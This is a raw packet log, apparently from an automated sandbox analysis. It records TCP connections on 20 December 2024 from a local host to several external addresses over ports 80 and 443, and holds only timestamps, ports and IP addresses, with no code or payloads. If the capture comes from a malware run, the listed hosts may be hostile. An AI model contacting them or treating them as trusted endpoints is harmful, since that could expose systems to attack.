Dec 20, 2024 09:12:23.282057047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.282110929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.282119989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.282157898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.282282114 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.282318115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.282341957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.282354116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.282371044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.282413960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.283349991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.283438921 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.283442974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.283492088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.283751965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.283957958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.284101009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.284154892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.284586906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.284641981 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.284828901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.284929037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.285429001 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.285491943 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.285804987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.285973072 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.286313057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.286369085 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.286370039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.286467075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.427263975 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.427294016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.427351952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.427351952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.427448988 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.427498102 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.427568913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.427615881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.428251028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.428303957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.428395033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.428456068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.429135084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.429188967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.429321051 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.429373980 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.429943085 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.429996967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.430821896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.430902004 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.431036949 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.431066990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.431122065 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.431638002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.431703091 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.431704998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.431749105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.432431936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.432497978 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.432734966 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.432791948 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.433304071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.433656931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.433703899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.433836937 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.434130907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.434211969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.434257030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.434303999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.434972048 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.435044050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.435214043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.435281038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.435816050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.435889959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.435931921 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.435985088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.436666012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.436795950 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.436841011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.437131882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.437560081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.437684059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.437733889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.438416004 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.438476086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.438786983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.438855886 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.439225912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.439300060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.439815998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.439863920 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.440084934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.440135956 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.440170050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.440754890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.440890074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.441009998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.441196918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.441718102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.441768885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.441878080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.442179918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.442543030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.442590952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.442878962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.442934036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.443427086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.443479061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.443883896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.443936110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.444243908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.444292068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.444411993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.444588900 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.445065975 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.445135117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.445219040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.445348978 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.445930958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.445995092 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.446002007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.446089029 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.446758032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.446819067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.446867943 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.446924925 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.447607040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.447730064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.447789907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.448450089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.448497057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.448955059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.449012041 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.449280024 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.449326992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.449520111 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.449584007 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.450248957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.450316906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.450376987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.450440884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.450972080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.451149940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.451205969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.451838017 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.451904058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.451946020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.452004910 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.452663898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.452725887 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.452833891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.452888012 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.453500032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.453651905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.453699112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.454339981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.454404116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.454538107 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.454596043 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.455163002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.455223083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.455267906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.455631971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.456084013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.456207037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.456254959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.456850052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.457007885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.457061052 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.457721949 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.457812071 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.458091974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.458551884 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.458600044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.458782911 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.459430933 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.459475040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.459480047 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.460228920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.460275888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.460760117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.461062908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.461113930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.461160898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.461926937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.461973906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.461980104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.462758064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.462806940 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.462878942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.462923050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.463603020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.463732004 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.463777065 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.464454889 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.464510918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.465080976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.465156078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.766887903 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:23.766987085 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:23.767034054 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:23.767158031 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:23.767180920 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:23.858942032 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:23.858992100 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:23.859168053 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:23.860106945 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:23.860125065 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:25.073108912 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:25.073337078 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:25.284413099 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:25.284439087 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:25.284837961 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:25.287841082 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:25.287950039 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:25.287974119 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:25.726399899 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:25.726660013 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:25.846220970 CET	80	49805	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:25.846427917 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:25.846467972 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:25.846728086 CET	80	49780	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:25.846780062 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:25.966113091 CET	80	49805	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:26.038252115 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:26.038289070 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:26.038378000 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:26.039505959 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:26.039520025 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:26.082022905 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:26.082149982 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:26.082199097 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:26.082304955 CET	49799	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:26.082328081 CET	443	49799	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:26.157058001 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:26.157143116 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:26.157222033 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:26.157542944 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:26.157581091 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.189764977 CET	80	49805	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:27.192148924 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:27.193151951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:27.193433046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:27.258333921 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.258414984 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.260765076 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.260785103 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.261126995 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.303885937 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.311995029 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.312026024 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.312108994 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.313083887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:27.313122988 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:27.313163042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:27.313196898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:27.313323975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:27.374758959 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.374830008 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:27.395353079 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:27.395390034 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.396497011 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.432838917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:27.440500975 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:27.440872908 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:27.440939903 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.441019058 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:27.441040039 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:27.687942028 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688008070 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688041925 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688069105 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.688081980 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688097000 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688191891 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.688221931 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.688239098 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.734760046 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.734760046 CET	49806	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.734786034 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.734824896 CET	443	49806	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.817869902 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.817900896 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:27.817974091 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.818232059 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:27.818247080 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:28.367743969 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:28.367964983 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:28.368031025 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:28.368165970 CET	49807	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:28.368197918 CET	443	49807	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:28.469829082 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:28.469872952 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:28.469945908 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:28.470316887 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:28.470331907 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:28.638761997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.638886929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.638946056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.638983011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639017105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639051914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639086008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639098883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639098883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639098883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639122963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639147997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639147997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639158964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639168024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639197111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.639226913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.639242887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.758976936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.759089947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.759246111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.759246111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.762990952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.763053894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.763101101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.763205051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.831080914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.831218958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.831250906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.831298113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.835217953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.835330963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.835366011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.836103916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.843583107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.843723059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.846625090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.846684933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.846731901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.846843958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.855048895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.855148077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.855178118 CET	80	49808	31.41.244.11	192.168.2.4
